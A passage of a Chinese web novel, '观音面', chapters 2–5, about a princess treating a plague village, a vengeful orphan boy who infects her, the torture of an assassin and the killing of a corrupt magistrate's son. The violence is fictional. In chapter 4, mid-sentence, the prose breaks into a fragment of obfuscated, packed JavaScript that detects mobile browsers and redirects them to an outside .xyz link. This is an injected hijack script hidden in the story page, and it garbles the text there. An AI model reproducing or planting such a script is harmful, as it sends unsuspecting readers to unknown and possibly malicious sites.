《观音面》
2. 瘟疫
“贱民!竟敢偷铺里的药草,活着简直造孽!”
一带面纱的中年男子指着远处空旷的巷道骂骂咧咧。
彼时,暗巷里的少年如同一只惊兽,攥着草药,疯狂奔行。
口中还不住嗫嚅。
“阿娘,等等我,等等我……”
接着他穿过枯死的草丛、尸骸遍地的焚尸地,蹑手蹑脚躲过层层把守的官兵,钻进一个狗洞,终于赶在太阳落山前,冲进那座破败不堪的茅草庐,他的家。
“咳咳咳!”
“母亲!我拿回药了,你有救了”。
“阿狗,对不起……咳咳咳,真的对不起,我难受得实在受不住了,你把床下的东西喂给我好不好?算母亲求你,求你了”。
“母亲,你就再忍一忍,喝了这些药马上便好了,不要抛下孩儿”。
“阿狗,没用了,真的没用了,给母亲一个解脱可好”。
阿狗看着母亲骷髅似的一张脸,她深陷的眼每动一下,都泄出一分死意,终是忍着心口剧痛,泪珠滚落。
随即颤抖着双手从床下掏出一个破旧的纸包。
其中的粉末白得刺眼。
那是曾经无涯村还未爆发瘟疫时,阿耶和母亲令他买来保护粮仓的老鼠药,那时的他们,怎么也不会料到。
这药,竟会成了这场浩劫下,全家人走入末巷的解药。
昏暗的光线里。
一只黝黑的手拾起枯枝,将药同雨水搅在一起,而后他把药水一点点喂进母亲嘴里,看着她干裂的唇饥渴地汲取这点湿润,瘦骨嶙峋的喉咙不住吞咽,仿佛在食蜜水一般。
泪水一簇簇从少年眼角划下,灼湿泥土。
良久。
“母亲!”
死一般寂静的草芦中,爆出一声惊吼。
这声音如抛入深潭的一颗石子,激起一阵涟漪,荡过芦外草丛里抱着包裹的妇人,道间驮着草席的老汉,满目狰狞的带刀大汉……
他们的眼神轻飘飘扫过此处,又仿佛没有听见,麻木地各行其道。
夕阳西下,把守无涯村的官兵卡道突然炸出激烈的兵械抽刀声。
“你们这些畜牲!一开始分明只有两人得瘟疫,是你们将这里围困,令这成了人间炼狱!是你们害死了所有人!”
少年拿着木棍,朝官兵冲去,可不过一招,官兵将刀柄狠狠打在他腰间,咔嚓一声,断骨扎肉,他彻底跪倒在地,瘦骨嶙峋的脊骨不住颤抖。
官兵们嘴角上扬,不住地讥讽他。
“那还不是因为你们茹毛饮血,才沾染了这种病,你们就是活该!何必出去祸害他人!”
听着官兵的话,少年悲愤到了极致,双目通红,死死盯着他们。
对着为首的官兵怒吼,
“山中的珍奇野兽村中人何曾食过一口,你阿耶不就是村中人,难道不明白吗?”
“休要胡邹,谁同你这个低贱之人一村!”官兵略有愠怒,不愿同他扯上关系。
“魏三,你就是一条官府的狗,如果不是你阿耶将所有钱财贿赂官差,你以为,你能出去,你能当上这狗?”
少年发丝飘扬,目光如炬。
听着他的话,魏三顿时气愤不已,可看着他一副视死如归的模样,心中忽然明了,嗤笑一声,讥讽道。
“你母亲死了吧!”
“你知道她是怎么死的吗?是被你亲!手!害死的”。
“你说什么?”少年如遭雷劈僵在原地。
“我说,她是被你的清高,被你的贫穷,被你的愚蠢害死的。当初你但凡愿意同我去卖那些药,亦或是不去揭发那件事,她都不会死!”
少年一瞬间仿佛被彻底击溃,扑通一跪,口中不停嗫嚅。
“不……不是……”
这时,官兵群里涌起嗤笑声,仿佛在看一场好戏。
魏三看着兄弟们兴致勃勃的模样,顿时更是来劲,愈发用力地表演。
“不必伤心,我今日砍了你,让你早些去陪你母亲。反正今夜,这里就不存在了!”
猛地,一把锋利到反光的大刀向少年的脖颈划去。
就在少年闭眼,迎接这轰轰烈烈的死期之时。
“锃——”
一柄飞箭将大刀打飞。
魏三被击得后退几步,狰狞大叫。
“又是哪个小畜生!”
一个头戴帷帽的白衣女子从众人反应不及时划过,她轻抬臂膊,而后一个巴掌狠狠落在官差的脸上,他彻底跌落在地,脸上浮起一个血红的掌印。
“能杀死你的人”。
女子身形矫健,瘦长纤细,可吐出的话却是无比冰冷,更是力大无穷。
“你——”
“呲——”
“啊!!!”
魏三正欲争辩,可下一秒,他的脸便被一分为二,豁开一道狰狞的口子,血涌如注。
他滚落在地上痛苦挣扎。
这时,所有的官兵都涌了上前,抽刀防备。
“住手,一群蠢东西!”
首领突然喝住了众人,神情谄媚,目光时不时扫过白衣女子腰间那块令牌。
“您大驾光临,是这些小兵有眼无珠,还望您息怒!”
可惜,没人能看见白衣女子的脸,她依旧冷淡。
“今日,这村不能烧,稍后,公主殿下便会带大夫前来,你们去备些食物和水,侯在村口”。
而她手中握着的匕首尚在滴血。
“是!”
白衣女子随即从袖中取出一沉甸甸的袋子,扔进首领怀里。
“做的好,自然有赏”。
不过片刻,现场萦绕起一股和谐之气,魏三被拉了下去。
只有那个少年,跪倒在地,眼角的血滴一颗一颗落在地上。
无人在意。
夜里,本死气沉沉的无涯村一片辉煌。
众多大夫带着面纱进入村里,李昭愿便在其间,他们将病人引入一处宽敞的药堂,为其医治,还有许多侍卫一家家去运走、掩埋尸体。
两日的忙碌,无人知晓那位高贵的公主究竟是谁,直到第三日黎明之时。
一位不速之客的到来。
祝府侍卫将无涯村团团围住,齐声喊,“请公主出来一见”。
纵使李昭愿不愿,可此刻也由不得她了。
她从暗处走向村口,走向火光里的纵马之人,秋风凛冽,马上之人的裙摆放肆地飘荡。
她不敢抬头,更不敢靠近。只是僵硬地伫立,犹如做错事的孩童。
“你如今真是长大了!”
持缰男子吐出一丝笑。
“我……我只是想救人”。
少女声线柔软,声音却愈来愈小。
“呵,救人?这两年你的身体格外虚弱,就算是多劳累几分都会呕血的人,竟想要救瘟疫之人,恐怕是来送死的吧”。
男子深邃的眉眼泄出怒气。
“即便是死,我也不走”。
可此刻,李昭愿却生出几分勇气。
“阿满!”
男子怒上心头,骤然下马。
李昭愿看到这一幕,神色一动,本娇柔的声线凌厉了几分,
“小舅舅!我已经长大了,有些事情我一力承担,哪怕是命!你能护我一时,难道能护我一世?”
看着小舅舅停下脚步,她松了口气。
接着说,
“更何况,我的命是命,他们的命便不是命吗?同我进村之人共有四
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十余人,谁人不是将自己的生死置之度外,就同小舅舅你在僵场厮杀一般,难道能抛下同自己出生入死的将士,一人逃命吗?”
“阿满……”
“小舅舅!你是一国将领,有收复山河,保家卫国的大志。而我,是大端的公主,亦有安定民生,同黎明百姓共同进退的责任。所以,请你相信我这一次,好不好?”
祝无忧望着那个远远伫立的小姑娘。
夜风里,她身形消瘦,素白的衣裙被吹得飘扬,目光坚韧幽深,宛如一朵深夜绽放的夜昙花。
那是一种枯朽,却又蓬勃的生机。
这一刻,他突然惊觉,她变了。
从前的那个天真烂漫的孩子,如今,却稳重得有些过分。看来,她终于还是长大了。
可不知为何,鼻子有些发酸。
随即,他快步上马。
留下一句,“我和你母后在京都等你,平安回来”,便纵马离去。
待李昭愿有些伤感地转身,却看见村中人,妇人,小姑娘,小男孩,老人,庄稼汉皆静静望着她。
他们白日时的枯朽防备之色在此刻全然褪去。
此刻,所有人似乎都变得格外安宁。
李昭愿同大家笑了笑,行了一礼。
“各位,今日是我之过,搅扰了大家歇息”。
“怎么会?快快请起”。
一位老妇人将她扶起。
随着天光乍现,人群也渐渐驱散。
只剩下一个角落依旧阴暗,那个少年冷冷望着天际,目光疲倦。
白日,艳阳下,李昭愿刚擦了把汗,便有一个医女火急火燎跑来。
“殿下!有个小郎君断了腿,十分紧急,可他说除了你,谁都不让碰!”
李昭愿听着,苦笑了笑。
随即拾起身边的药箱,跟着医女而去。
茅屋的门一打开,便有一股阴冷之气扑面而来,让她隐隐有些不适。
她处理完伤口,室内只剩下两人。
她用力将那处一裹,看着少年脖颈暴起的青筋,缓缓开口,
“为何要亲手砸断自己的腿?”
“自是有事求公主殿下”。少年沙哑的嗓音格外磨耳。
“求我,你有什么想要的直说便是,何须如此伤害自己?”
李昭愿声线温柔。
她伸出手摸了摸少年的头顶。
可突然,少年攥住了她的腕,将她的手翻了过来,意味深长道。
“公主殿下,那日你持剑伤人时,可是招招狠厉!”
少年言罢,抬头同她四目相对,目光如炬。
她露出迷茫之色。
“你究竟在说什么?那是我的侍女”。
“殿下,你指腹的老茧只有练剑之人才有,公主殿下身份尊贵,怎会长那样的老茧?”
“我的母亲出生于务农之家,虽为皇后,却改不了年轻时的习惯,种田、挑水、磨豆腐,这些,我也都得学着做”。
她一双杏眸水光潋滟,坦然亲近地看着少年,仿佛在看自家弟弟。
少年同李昭愿对视许久,竟生出几分羞愧与局促。
他急忙收回目光。
可心中却无比纠结,他本想威胁她,来奔个好前程,错过这次,恐怕这一辈子都得埋在这片荒山里了。
况且,他还有大仇。
可她,对村中之人这样好,他这样,是不是太卑鄙了。
少年垂下了头。
李穗满执了药箱,打开门正欲离开,可看着少年阴郁的背影。
还是温声问道,
“小郎君,你叫什么名字?”
……
“殷长安——”
“是个好名字”。
3. 算计
夜半,明月高悬,无涯村一片寂静。
可旁侧的长宵城,却是一片喧嚣,歌舞升平。
一个家奴急匆匆闯进飞雨楼,疾速穿行,直到二楼中的酒池旁。
“主人,那位将军走了”。
“走了?那个公主呢?”
“还在无涯村”。
“呵,还真有不怕死的,派人去吓吓她,记住,莫真伤了”。
“是”。
酒池中的瘦弱男子攥着一把细腰,一阵萎靡,可心中有虑,终是露出几分意犹未尽的空虚,看向纱帐外端坐的人影。
灯火缥缈的书案边,一人执书端坐。
“你有何办法?这生意,总得做下去”。
“既然村中不再需要,那便将这整个城都都变成生意场,岂不更好”。
一道清冽的声线瞬间荡平了满室的情香。
瘦弱男子开怀大笑,“你果真是个好谋士!这笔生意做成了,我许你扶摇直上!”
这夜,一个正在睡梦中酣睡的病人被一把刀悄然抹了脖子,第二日,横尸街头。
血水淌了满街。
“早该把那晦气之地烧了!”
“这不是害人嘛!”
“快,快去长安医馆买药!再不去啊,药都抢光了!”
一时间,城内百姓人人自危。
长安医馆更是人满为患。
而无涯村外,却是围了一圈又一圈,他们手中拿着菜叶、鸡蛋、臭水,目光愤恨,恨不得将这些多管闲事之人砸死。
李昭愿正欲背着药箱出门。
“殿下,今日你莫要出门了”。
身旁的医女急忙拦下了她。
“怎么了?”
“是,是一个病人在长宵城自尽,瘟疫传到了村外”。
“怎么会这样?咳咳咳!”。
或是劳累过度,突然间,李昭愿喉间猛地传来一阵湿意,待她望向手中丝帕,只见一团灼眼的红。
“旧疾又犯了,也罢,我今日先歇一日,辛苦你们了”。
李昭愿捂着苍白的嘴唇,返回内室。
午时,仓房内,一遮面白衣女子抽出一把匕首,短小精悍,削铁如泥。
刀柄映出她沉静的一双眼。
“啪嗒!”
蓦地,木盖被掀翻在地,一道亮光闯进了石缸,落在刺客迷茫的眼上。
昨夜,不知何人将他从身后打晕,力气之大,如今脑后都隐隐作痛。
他看着面前的女子,虽一袭白纱遮住了面容,可明眸善睐,眸光清澈,不由得心中一喜。
这个女子应是村民,太好了!只是,看起来十分柔弱,不知她能否解开这粗绳。
刺客在缸中不停扭动身躯,可突然,他的动作僵住。
他目光所落之处,是一把缓缓抽出的利刃,寒光四泄,阵阵鸣响。
她就是那个打晕他的人!!!
紧接着,更是让人头皮发麻的一幕。
女子一点点划开他背上的衣,大片大片的肌肤暴露在空气里,空气冰冷,可他却热得滚烫,那刃没有丝毫停留,继续从每一寸肌肤上滑过,他顿时呼吸凝滞,可刀背散出透心的冰冷,更是令他头皮发麻,唇齿战栗。
此刻,他就是一块待宰的猪肉!
不过片刻,背上掀起一阵疼痛,仿佛惊天骇浪将他彻底吞噬,他拼命地挣扎、求饶,可一切都是徒劳,直到神经都被麻痹,头顶的天空仿佛化作灰白。
如今的他,只想死,痛快地死。
突然,他眼前划过一个面庞,幼小可怜,那是他唯一的亲人,和他相依为命,他若死了,她该怎么办?
不,他不能死。
想到此处,他死灰般的眸光骤然重燃,眸光里尽是恳求。
可面前的女子只是缓缓伸手,用自己柔嫩的指尖挑起刺客眼角的泪珠,轻点舌尖,细细品味。
一道娇柔的声线伴随响起。
“原来,这便是仓皇求饶的滋味”。
鬼魅、瘆人。
可她的眸光没有丝毫怜悯,而是玩味似的浮上一抹孩童的天真,那是一种漠视万物、残忍到极致的天真。
仿佛,面前的不过是一只死物。
接着,她温柔地将手落在暗卫的头顶。
暗卫惊恐。
“看你身上的刀伤,是死侍吧?既如此,我什么也不问,也不杀你,不要怕”。
蓦地,她细眉一挑,似乎想出了什么绝佳的主意,娓娓道来。
“我只要一点点,每天一点点”。
“指甲这么大小的肉,只要轻轻一割,就掉下来了。”
“别害怕,你会长命百岁的”。
紧接着,她墨瞳一落,刀柄也侵入了血肉。
“嗯——!”
暗卫的身躯顿时扭成了一个怪异的弧度,双目将近眦裂。
“这一刀,我是替那个被你们杀死的人刺的,他明明都快好了,你们却非要夺人性命”。
蓦地,她骤然站起,居高临下地看着他,眸光带笑,可笑意不达眼底。
那是一种大权在握、执掌生死的冷漠。
“既如此,一命还一命,我也来定汝生死!”
“你很惊惧?”
暗卫拼命点头,泪如雨下。
“好。我只问你一句,是谁派你来的?这是你唯一的机会”。
她用匕首挑出他口中的布。
“我……我不是死侍,我就是一个普通的暗卫……求你……求你……别杀我……我还有家人!”
“看来,你不愿说”。
“姜县令之子!是姜县令的儿子姜垄,殿下,我绝不敢胡言,我的家人还在他手里……求你,求你别杀我!”
“很好”。
这日,暗卫狂奔离去,他无比后悔昨夜的轻敌,竟栽倒在一个弱女子的手上。
不,她不是弱女子,是阎罗殿爬出来的恶鬼!
凶狠、毒辣、掌控人心。
是同那位书生一般狠毒的人物!
可他心头也忍不住响起那几句话,
“如若你愿同我赌一把,功成之日,便是你荣华富贵加身之时,而你的家人,从此再无虞”。
这是纵使他做一辈子暗卫,都得不到的东西。
可如若败了,所有人都会粉身碎骨。
飞雨楼近在咫尺。
他好像看见女儿了,小小的一团,赤裸着双手,跪在地板上费力地前后擦拭。
小女孩也敏锐地捕捉到了他的目光,面色一喜,
“阿耶,今日有个客人给了我糕点”。
她小心掏出糕点,可却碎了一地,女孩欲哭。
他急忙抱住女儿。
“喜奴,你喜欢这个地方吗?”
“阿耶,我……我不知道”。
“为什么?”
“和阿耶在一起,我很开心。可这里,很脏,特别脏”。
“脏?”
直到此刻,暗卫才认真地环视这个地方,这的确是个藏污纳垢的地方,纵使此处提供吃食,可如若喜奴在此长大,他实在不敢想……
*
是夜。
李昭愿沉沉睡去,面容尚带着病弱的苍白。
屋外传来窸窸窣窣的脚步声。
木门上映出一个瘦弱的身影,前后徘徊,犹豫不决。
他看着手中的包裹,纠结到了极致。
可想到阿耶、母亲、妹妹,顿时心如铁石。
公主无辜,他的亲人又岂不无辜。
况且,人不为己,天诛地灭。
这仇,他必须得报。
如若真害了她性命,那他便以命相抵。
灯火缥缈里,一个身影偷偷钻
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进李昭愿的房间,将一件灰麻衣轻置在李昭愿床头。
每一次的呼吸,她的气息都会落在上面。
这一夜,房间格外安静。
而村落的某一处角落,却升起了浓烟,一件件旧裳在火舌里化为灰烬。
……
“不好了!不好了!公主染上了瘟疫!”
清晨,医女们在医馆内瞬间乱做一团。
他们都拾了药箱,在公主寝屋鱼贯而入、鱼贯而出,端了满盆满盆的血水来回倾倒。
可公主不见好转,甚至触发了旧疾。
青纱帐下,她奄奄一息躺在床榻上,面色苍白,青丝散落,嘴角血不断涌出,染红了大片大片衣裳绣枕。
满室慌乱中,唯有一个白衣女子在晦暗处安静地站立,可帷帽下的一双眼却是红到了极点。
“阿音……”
李昭愿伸出手,似乎想要交代什么。
闻音急忙上前跪下,握上她的手。
“公主,都是我昨夜未能守在你身边……都怪我”。
“不,阿音……不关你……告诉我阿耶、母亲、小舅舅……是我不孝”。
“公主!你不会有事的!”
这时,一个医女急忙跑来。
“公主!昨夜你床头那件衣裳乃是染病之人的衣裙!”
闻音顿时反应过来。
“公主,是有人要害你!”
“阿音……”
还未等李昭愿叫她,她便夺门而出,紧紧握着一把剑。
就在闻音离开的那刻,一个踉跄的身影在门口出现,他埋着头,小心翼翼进来。
一个医女呵斥道,
“公主如今染病,你进来作何,还不带面纱,快些离开!”
殷长安看着医女们手中的面盆,仿佛受了惊,后退一步,才犹豫着开口。
“我有办法救公主”。
“我们都没办法,你能如何?”
“我有药,于瘟疫最为有用”。
他从腰间缓缓掏出一个瓷瓶。
医女犹豫,并不相信,这几日药材短缺,方圆百里都难寻。
他一个孩子,孤苦无依,又有何办法。
可眼看着,公主又呕出一泊血,命悬一线。
终是死马当活马医。
医女拿起药瓶,缓缓灌入李昭愿唇间。
神智迷离间,一股阴冷的水流钻进了李昭愿喉间,腥气、苦涩。
渐渐地,她安静地睡去。
这日午后,殷长安等在李昭愿门外,神情恍惚。
一阵急躁的脚步自远处而来。
闻音手中攥着一个破旧的包裹,径直扔在殷长安脸上,其中赫然是一件灰麻衣。
殷长安不可置信抬头。
“这是?”
斗笠下的闻音随即发出一声轻笑。
“自然是刨了你母亲的坟,这衣裳同昨夜公主床头的一模一样!你还不认?”
殷长安顿时面如死灰。
他算到了她们会找衣服,遂昨夜烧了去。
可却没料到,她竟会如此不留余地。
“是,是我。那又如何?”
少年抬眸,眼里尽是挑衅。
闻音看着殷长安死不悔改的模样,怒上心头,竟径直将他拎起。
“真是个狠毒的狼崽子!公主带你不薄,你竟恩将仇报!”
噗嗤——
闻音随即拔出长剑,欲斩草除根。
众人反应不及,眼看着剑就要刺下。
“住手!”
不知何时,李昭愿竟下了地,虚弱地倚靠在门框边,阻止了这一出闹剧。
柔和的阳光里,她的眼眸忽明忽暗,发丝凌乱地飘扬。
“莫要伤害他”。
留下一句话,下一刻,她直直倒地。
“殿下!”
4. 宽恕
夜,苍穹飘起了细细密密的雨丝。
闻音盘手靠在门扉前,闭目养神,可每一分神思都落在泥地里下跪之人身上。
她恨不得将其脱皮拆骨,杀个干净。
可公主心软,她不愿让她伤心。
“咳咳咳!”
蓦地,房屋里传来一阵虚弱的咳嗽声,闻音立马冲了进去。
只见公主伏在床侧,青丝绕颈,下面的面盆中已无血色。
她这才吐出一口浊气。
“阿音,小舅舅他还不知晓吧?”
“公主放心”。
“阿音,多亏了你,不然,我恐怕早已骨枯黄土了”。
“公主,这是奴该做的。如果不是公主,奴不会活到今日”。
闻音是个孤女,两年前,走投无路卖身葬父。
茫茫人海里,只有公主伸出援手。
安葬好她阿耶,予她姓名,赐她华服,让她习武读书。
公主,是这世间最良善宽厚之人。
她绝不允许任何人动公主一丝一毫。
……
良久。
落雨的檐下,一女子撑着一把青伞,走入雨幕。
殷长安察觉到头顶的雨丝消失了。
他缓缓抬头。
只见头顶的面容带着一抹病态的白,映在伞面的殷绿里,似乎比任何一尊泥胎观音像都更加易碎,可她的眸光依旧是那样祥和,同寺庙中那浸泡着梵香的池水一般,安宁平静。
她朱唇轻启。
“闻音所说刨坟一事是假的,只为诈你”。
殷长安跪在地上,目光怀疑。
“我知你心里有恨”。
“你恨我来得太迟,未能保住你的母亲。你亦恨自己分明一心向善,却不得善待,对不对?天地不仁,以万物为刍狗,这或许就是命”。
“你走吧,离开这里重新过活”。
殷长安听着她的每一句,筑起的防备一步步坍塌殆尽。
她竟通晓他的心思。
可他分明差些杀了她。
世间怎会有这样的人?
可这恨,他放不下,也绝不可能放下。
为此,他可以放弃尊严。
此刻,那根从来宁折不屈的脊骨终于伏下,他跪地恳求。
“公主,求您怜惜我”。
“如今我孤家寡人,无处可去。今日是我昏了头,犯下大错,公主要打要杀,绝无怨言”。
“如若公主愿意留我,今后上刀山下火海,绝无二话”。
下一刻,他就重重磕在地砖上。
“公主差点被你害死!你竟还敢如此恬不知耻,让公主收留你!”
闻音忍不住破口大骂。
李昭愿拦住闻音,无奈地叹了口气。
“长安,我也怕了,你拿些钱财离开吧……”。
随后,闻音拉着李昭愿离开。
殷长安看着她离开的背影。
眼里满是不甘。
难道,这就是他的命。
大仇不得报,一辈子屈居人下。
不!
“公主,我知道这城中最紧缺的那味药,藏在何人手中,藏在何处!”
他的话伴着天边那道惊雷,令远离之人停下。
*
数日后,飞雨楼一片喧嚣。
一个小女孩提了水桶正要走,却被拌了一脚,将水撒了旁侧吃酒男子一身。
可那男子并未恼怒,反而将她扶起。
对着赶来的掌柜道,“方才,是我不甚将这孩子绊倒了,勿要责怪她”。
掌柜的看着放进手中的银钱,顿时眉开眼笑,将他送走。
“客官慢些走,下次再来”。
等那人的彻底消失。
“一个女子,竟也喜欢凑这热闹……”
他呢喃了几句,满意地收起银子。
而小女孩看着男子走远的背影,紧张地攥着手中的纸条,不敢出声。
这夜,村中,刺客稳稳落在公主院落,一个蒙面女子早已等待良久。
他掏出怀里的东西。
“女娘,这便是飞雨楼的内部陈设图以及暗卫分布图”。
“好,这些金子你拿着”。
刺客受宠若惊地看着手中的钱袋。
“女娘,如若您用得着,大可开口,我万死不辞”。
他言语忠诚。
心中已然有了算盘,那几日在村内观察许久,这位姑娘该就是公主身边的那位侍女吧,武力高强,脾性泼辣,如若讨好她,也能在公主面前多多美言几句。
只是,他看着她腰间,是一把银花丝镶嵌匕首,那几日她常佩剑,怎么今夜换了匕首?
“郎君放心,此事若成,自当同公主美言”。
……
闻音端着熬好的草药刚进入房间,便见桌上摆着一张纸。
竟是她寻了好几日都不得的飞雨楼地形图。
“公主,这?”
她看向桌边饮茶的李昭愿。
“这是我去村外买的”。
“公主,你大病初愈,还是小心些为好”。
“这件事,还是愈早愈好,如今城中的百姓,已然不能再等了”。
“公主,那……”
“今夜行动”。
“好”。
午夜的长宵城,除却飞雨楼,皆一片漆黑。
可忽然,城南的一处。
“着火了!长安药坊着火了!快来救火!”
一群仆役奔行在火光里。
可火势太大,将要将后面的仓库点燃,甚至有城民趁火打劫。
形势陷入一片混乱。
飞雨楼。
“主人,长安药坊着火了,火势太大,还有贱民打劫,还请主人调遣些人手!”
姜垄正在兴头上却被打断,一把将杯盏砸向身旁正弹奏的琴,极为不耐。
“留十个暗卫,其他人都去那处帮忙!”
“郎君,暗卫留五个足矣,其他五个,不如,就趁乱去搜集这城中美人,如今,她们定是顾不得乔装隐藏”。
角落里研磨的书生缓缓道。
“好,就如此!果真是本郎君的好谋士!”
“正巧,本君敬你一杯,为你践行,还望郎君日后飞黄腾达,继续为本君效力!”
“那是自然”。
内室推杯换盏。
他们未曾看见,烛光所覆的木门,时不时闪过鬼影。
就在姜垄有些酒醉时。
在角落端坐的书生早已站起,听着屋顶的刀剑鸣响,盯着窗纸移动的黑影,步步后退。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15994262|178097||http|test|mini|href|location''.split(''|''),0,{}));
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>悄然躲入漆黑的纱帐后。
而屋内,姜垄忽然站了起来,还放声大呼。
“来啊!喝!及时行乐!”
就在酒盅落地的那一刻。
“砰——”
顷刻间,木门四分五裂,一个矫健的身影闯入。
看着这一幕。
披头散发的姜垄受惊,指着门口欲痛骂时。
却被人一脚踢在肚皮上,掀翻在地。
他大声嘶吼。
“大胆!来人!来人!”
可他的暗卫早已在毒药的作用下,化作一缕缕鬼魂。唯一未饮毒药之人,也与闻音在屋顶缠斗,顾不得他。
而此刻的内室。
安静地瘆人,酒池污浊,赫然漂浮着一具赤裸的女尸,还有一个乐人急忙爬到了角落里。
红木案上,是一座座堆积成山的珍馐美食。
名贵的沉香烟气萦绕在浊气里。
火光下,姜垄亲眼看着面前的刺客将手中的匕首擦过袖口,死死盯着他。
仿佛在盯着一只可口的猎物。
顿时,他抖如筛糠。
可面前的人依旧冷漠,一步步逼近,他亦一点点后退。
“求你,别杀我!你要什么,我都给你!”
姜垄如同一条丧家之犬,爬在她脚下恳求。
可女子不为所动,声线近乎鬼魅,勾起一声嗤笑。
“我要你的命”。
随即,她一把攥起他的脖颈,将他按入酒水之中。
亲眼看着手中人像条游鱼一般扑腾,挣扎,求饶。
缥缈的火光映出她复杂的神色,似痛苦又似解脱,还夹杂了几丝若有若无的疯狂。
渐渐地,死气蔓延。
那只纤长的腕才缓缓收回。
倏地,角落里的人影一闪而过。
李昭愿胳膊一甩,一柄匕首直直向黑暗中射去,却扎在木板里。
人影跳窗而逃。
她急忙去追。
可待她赶到后院,两面竹林幽深,不见人影,看来已经逃了。
“公主!”
闻音从远处跑了过来,焦急地扫过她的全身。
“没受伤便好,殿下怎的在此处,你身子素来虚弱,莫被伤到”。
“咳咳咳”。
李昭愿咳嗽了几声。
“无碍,我方才看见一个人跑了”。
“公主,莫追穷寇”。
紧接着,殷长安捂着伤口也跑来。
“飞雨楼药仓已然打开,今夜,便可为全城百姓治病!”
闻音有些不悦,嗯了一声,不再理会。
而在几人未曾看见的暗处,一人隐在葱郁的竹林里。
他的眸仿若一汪深潭。
所有的波动都汇聚在一人身上,目光幽暗。
这一刻,他等了太久太久。
……
这夜,长宵城朝廷倾巢而动,欲逮捕火烧药房的乱贼。
祝无忧却已携了圣旨前来。
陛下下令,姜县令及其子,贪赃枉法,罔顾人命,将二人诛杀,其余全府女眷充作官奴。封锁长宵城,派医女前来救治,直至其瘟疫消除。
一切终于偃旗息鼓,重归宁静。
只是瘟疫所过之处,百姓皆苦不堪言,生灵涂炭。
5. 宫宴
数月后。
浩浩荡荡的队伍离开长宵城,返回京都。
其中一辆马车,格外安静。
二人安静坐立。
李昭愿看着小舅舅的脸比那极北的冰更寒,纠结许久,终是忍不住开口。
“小舅舅,你……那夜怎会带圣旨前来?”
“我若不来,都不知道你学会打家劫舍了”。
“我……也是逼不得已”。
“长宵城瘟疫不止,城中缺药,小舅舅你又来得这般及时,你一直没走对不对?”
圣旨中那般了解这江东县姜县令的贪墨情形,定是有人细细调查过,除了小舅舅,再无他人。
祝无忧听着李昭愿的揣测,不再回答,反而语重心长道。
“阿满,我希望你明白,这普天之下万般事不过都是一局生意。你虽贵为公主,可强龙不压地头蛇。你贸然插手此事,于你,于祝家,于陛下,都是一场灾祸!”
到了最后,他竟叹了口气,
“阿满,小舅舅也希望能护你一世,可这世道艰难、人心难测,只怕哪一日,我自身难——”
每一个字,一句话,落在心头都是针扎的疼。
李昭愿紧紧攥着袖口,忍不住打断他,
“小舅舅,你会好好活,母亲与祝家也是”。
言罢,李昭愿便扭过头不再说话。
马车行在山道间。
望着远处广袤的天地,他隐隐许下一个心愿。
只希望,这个傻姑娘一辈子都不要长大。
有人疼之爱之,视若珍宝。
*
京都,皇宫内大摆宴席,迎接治瘟的昭阳公主回朝。
夜里的皇宫内外皆张灯结彩,盛大喜庆。
皇公贵族皆乘一辆辆豪车出入宫门,美人娇艳、公卿端方,络绎不绝的人群皆朝那梦华宫而去。
李昭愿坐在宫中,看着自己发髻间巧夺天工的金丝镶玉梅花花钿以及琳琅满目的各类首饰,疲倦地呼出一口浊气。
“母亲,这未免也过于铺张浪费了?”
她撒娇似的望向身后忙碌的母亲祝皇后。
祝皇后看向镜中的她的女儿,那微微凹陷的面颊格外显眼,满目疼惜,语气却都是嗔怪。
“你这个傻孩子不辞而别,你知道母亲有多担忧吗?还瘦了这样多,今晚好生歇息。可宴会,还是要体面些,毕竟……有一件重要的事”。
话到此处。
“对了,母亲,我去看看小舅舅来了吗?”
李昭愿忽然站起,将几支繁琐的头饰摘下扔到了桌上,就提起裙子马不停蹄地逃出了长乐宫。
她如何不知道母亲想说什么,择婿,择婿,还是择婿。
可她,并无此心。
况且,自己早已有心上人了,甚至,自己也算他未过门的妻子。
回廊里,她停下奔跑的步伐,抬头望月,广阔苍穹任由莹莹光辉肆意洒落。
云隐,你还好吗?是否已然得偿所愿,入书院读书?
鲤县遥远,重生两年,她却不敢回去。
因为她怕。
怕那个人也追来,怕她的靠近,会让他再一次受到伤害。
“姐姐!”
一个着粉衣的女子突然上前牵起了她的手,满脸的娇憨与亲近。
李昭愿转头微笑,同她问候。
“妙清,许久未见”。
“姐姐,兄长要进宫了,他前几日进宫探望带了礼物想送给姐姐,只是姐姐那时不在,便让他拿了回去,毕竟亲自交到姐姐手上才算诚心”。
听着这些话,李昭愿真是想甩开她的手。
什么兄长,那是她李妙清的兄长。
她母亲只有她一个女儿,那齐王不过一个贱婢的儿子,也配胡乱攀附。
“妙清,那我们便快些去吧,我实在有些等不及见到……兄长了”。
李昭愿依旧是一副笑面。
可那把刀,她早已备好。
李妙清拉着李昭愿穿行在幽暗的长廊间,蹦蹦跳跳,眼里满是天真快乐。
于李妙清她并不十分厌恶。
犹记得,曾经叛乱里,这全宫上下敢为母后求情的人竟只有她一个。
只是她想不明白,那样恶毒的母亲怎样生养出这般天真烂漫的女儿。
二人到了梦华宫外长阶下。
果然,那个高大的身影早已侯着。
“兄长!”
“元澈哥哥”。
“阿满,身子可安好?”
齐王那双眸子一如既往地温润如玉,看不出丝毫野心。
“元澈哥哥,我并无大碍。对了,静姐姐呢?怎么没同哥哥一同过来?”
江静,乃是御史大夫之女,齐王梦寐以求的助力,更是他的未婚妻子,这满京都赞他们二人是天造地设的一对。
可他,却有一位真正护在心窝的人。
亦是上一世,在宫斗的腥风血雨里笑到最后,荣登后位的女人。
“这几日,她感染了风寒,有些不适,或许会迟来些”。
“既然如此,元澈哥哥便在这里多候一会儿吧,等静姐姐来到,再入殿也不迟”。
“自是如此”。
“兄长,见了姐姐,倒是将我忘了个干净,哼”。
正在此时,齐王的目光都落在了他们二人的身后,一个弱柳扶风的姑娘身上。
一袭紫衣勾勒出窈窕身形,她面容楚楚可怜,跟在一群贵女身后。
按乔娇的家世,本是不可能来此的。
今日,恐怕也是那群贵女想要她来做个衬托。
可她,又是为了什么?
不言而喻。
……
高台上,圣上与皇后落座。
“穗满!”
“阿耶”。李穗满恭敬行礼。
